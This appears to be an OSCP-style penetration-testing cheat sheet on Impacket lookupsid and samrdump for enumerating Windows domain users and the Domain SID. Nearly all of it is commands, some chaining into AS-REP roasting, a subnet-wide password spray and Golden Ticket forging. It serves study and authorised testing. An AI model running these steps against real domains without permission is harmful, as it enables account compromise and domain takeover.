lookupsid & samrdump — SID / User Enumeration
Overview
| Script | Method | Output |
|---|---|---|
| lookupsid | Brute-force SIDs → resolve to names | Usernames, groups, Domain SID |
| samrdump | SAMR protocol dump | Full user account table |
Both are Linux-side alternatives to rpcclient RID cycling. Part of Impacket Enumeration.
OSCP use: Build username lists for Kerbrute, AS-REP roast, and password spray; obtain Domain SID for Golden Ticket forging (Kerberos Scripts → ticketer).
📌 1) lookupsid.py
Syntax
impacket-lookupsid domain/user:password@TARGET
impacket-lookupsid anonymous@TARGET
impacket-lookupsid guest@TARGET -hashes ':31d6cfe0d16ae931b73c59d7e0c089c0'Anonymous / null session
impacket-lookupsid anonymous@10.10.10.10
impacket-lookupsid ''@10.10.10.10Limit RID range (faster)
# Start from RID 2000 (domain users often start here)
impacket-lookupsid domain/user:pass@10.10.10.10 2000Get Domain SID (critical for Golden Ticket)
impacket-lookupsid domain/user:pass@10.10.10.10 | grep -i "domain sid"
# Domain SID: S-1-5-21-1234567890-123456789-123456789Use with:
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local administratorSee Kerberos Scripts.
📌 2) samrdump.py
Dumps user info via Security Account Manager Remote protocol.
# Null session attempt
impacket-samrdump 10.10.10.10
# Authenticated
impacket-samrdump domain/user:password@10.10.10.10
impacket-samrdump anonymous@10.10.10.10Sample fields: username, RID, account flags, last logon, pwd last set.
📌 3) rpcclient Equivalent
rpcclient -U "" -N 10.10.10.10
> enumdomusers
> enumdomgroups
> queryuser 0x3e8
> lookupnames administrators| Task | lookupsid | rpcclient |
|---|---|---|
| User list | ✅ Auto RID cycle | enumdomusers |
| Domain SID | ✅ grep output | lookupnames / lsaquery |
| Interactive | ❌ | ✅ |
| From Kali only | ✅ | ✅ |
See rpcclient.
📌 4) Build users.txt for Attacks
impacket-lookupsid anonymous@10.10.10.10 2>/dev/null | grep "SidTypeUser" | awk '{print $1}' | cut -d'\' -f2 > users.txt
# Same filter from nxc RID brute:
nxc smb TARGET -u "guest" -p "" --rid-brute 1000 2>&1 | grep "(SidTypeUser)" | cut -d '\' -f2 | cut -d ' ' -f1 > users.txt
# Feed into:
impacket-GetNPUsers corp.local/ -dc-ip DC_IP -no-pass -usersfile users.txt
nxc ldap DC01.domain.local -u users.txt -p '' --asreproast asreproast.txt
kerbrute userenum --dc DC_IP -d corp.local users.txt
nxc smb 10.10.10.0/24 -u users.txt -p 'Password123!' --continue-on-success📌 5) When Each Fails
| Symptom | Try |
|---|---|
| ACCESS_DENIED anonymous | Valid creds; ldapsearch; enum4linux |
| RPC unavailable | Check 135/tcp; firewall |
| Empty user list | Higher RID start (2000); Kerbrute wordlist |
| Need full AD picture | Bloodhound + Sharphound, nxc ldap --users |
📌 Quick Cheat Sheet
impacket-lookupsid anonymous@TARGET
impacket-lookupsid domain/user:pass@TARGET | grep -i "domain sid"
impacket-samrdump TARGET
impacket-samrdump domain/user:pass@TARGET